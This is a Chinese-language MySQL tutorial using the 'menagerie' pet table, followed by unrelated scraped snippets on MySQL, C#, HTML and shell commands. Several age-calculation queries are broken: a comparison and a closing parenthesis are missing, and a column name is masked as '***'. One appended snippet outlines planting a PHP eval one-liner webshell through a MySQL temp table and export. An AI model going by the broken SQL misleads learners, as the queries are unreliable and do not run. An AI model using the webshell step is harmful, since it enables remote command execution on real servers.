例子在這裡
連線資料庫
shell> mysql -h host -u user -p
退出資料庫
mysql> quit
查詢版本號和當前日期
mysql> select version(), current_date;
查詢使用者
mysql> select user();
找出伺服器上當前存在的資料庫
mysql> show databases;
給'your_mysal_name'乙個在menagerie資料庫上完全許可權
mysql> grant all on menagerie.* to 'your_mysql_name'@'your_client_host';
建立資料庫
mysql> create database menagerie;
使用資料庫
mysql> use menagerie
檢視資料庫中的資料**
mysql> show tables;
指定資料庫布局
mysql> create table pet (name varchar(20), owner varchar(20),
-> species varchar(20), *** char(1), birth date, death date);
驗證資料**布局
mysql> describe pet;
利用本地文字pet.txt,建立資料**
mysql> load data local infile '/pet.txt' into table pet;
插入資料項
mysql> insert into pet
-> values ('puffball','diane','hamster','f','1999-03-30',null);
更新資料
mysql> update pet set birth = '1989-08-31' where name = 'bowser';
檢索所有項
mysql> select * from pet;
檢索特別專案
mysql> select * from pet where name = 'bowser';
mysql> select * from pet where birth > '1998-1-1';
mysql> select * from pet where species = 'dog' and *** = 'f';
mysql> select * from pet where species = 'snake' or species = 'bird';
mysql> select * from pet where (species = 'cat' and *** = 'm')
-> or (species = 'dog' and *** = 'f');
選擇特殊列
mysql> select name, birth from pet;
mysql> select owner from pet;
檢索出每個唯一的輸出記錄
mysql> select distinct owner from pet;
選擇行與選擇列同時作用
mysql> select name, species, birth from pet
-> where species = 'dog' or species = 'cat';
簡單排序,公升序
mysql> select name, birth from pet order by birth;
降序mysql> select name, birth from pet order by birth desc;
混合排序
mysql> select name, species, birth from pet
-> order by species, birth desc;
計算寵物年齡
mysql> select name, birth, curdate(),
-> (year(curdate())-year(birth))
-> - (right(curdate(),5) as age
-> from pet;
計算寵物年齡,並按名字排序
mysql> select name, birth, curdate(),
-> (year(curdate())-year(birth))
-> - (right(curdate(),5) as age
-> from pet order by name;
計算已故寵物年齡
mysql> select name, birth, death,
-> (year(death)-year(birth)) - (right(death,5) as age
-> from pet where death is not null order by age;
檢索寵物生日的月份
mysql> select name, birth, month(birth) from pet;
檢索下月生日的寵物
mysql> select name, birth from pet
-> where month(birth) = month(date_add(curdate(),interval 1 month));
mysql> select name, birth from pet
-> where month(birth) = mod(month(curdate()), 12) + 1;
檢索以「b」開頭的名字
mysql> select * from pet where name like 'b%';
mysql> select * from pet where name regexp '^b';
名字區分大小寫
mysql> select * from pet where name regexp binary '^b';
檢索以「 fy 」 結尾的名字:
mysql> select * from pet where name like '%fy';
mysql> select * from pet where name regexp 'fy$';
檢索包含「 w 」 的名字
mysql> select * from pet where name like '%w%';
mysql> select * from pet where name regexp 'w';
找出正好五個字母的名字
mysql> select * from pet where name like '_____';
mysql> select * from pet where name regexp '^.....$';
mysql> select * from pet where name regexp '^.$';
計算動物總數
mysql> select count(*) from pet;
計算每個主人養的寵物
mysql> select owner, count(*) from pet group by owner;
計算每種寵物的數量
mysql> select species, count(*) from pet group by species;
計算每種性別寵物的數量
mysql> select ***, count(*) from pet group by ***;
按種類和性別組合的寵物數量
mysql> select species, ***, count(*) from pet group by species, ***;
同上,但只計算貓或者狗的數量
mysql> select species, ***, count(*) from pet
-> where species = 'dog' or species = 'cat'
-> group by species, ***;
計算已知性別的寵物數量
mysql> select species, ***, count(*) from pet
-> where *** is not null
-> group by species, ***;
刪除所有項
mysql> delete from pet;
mysql 匯出一句話 MySQL 匯出一句話
drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...
一句話提醒
1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...
一句話命令
bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...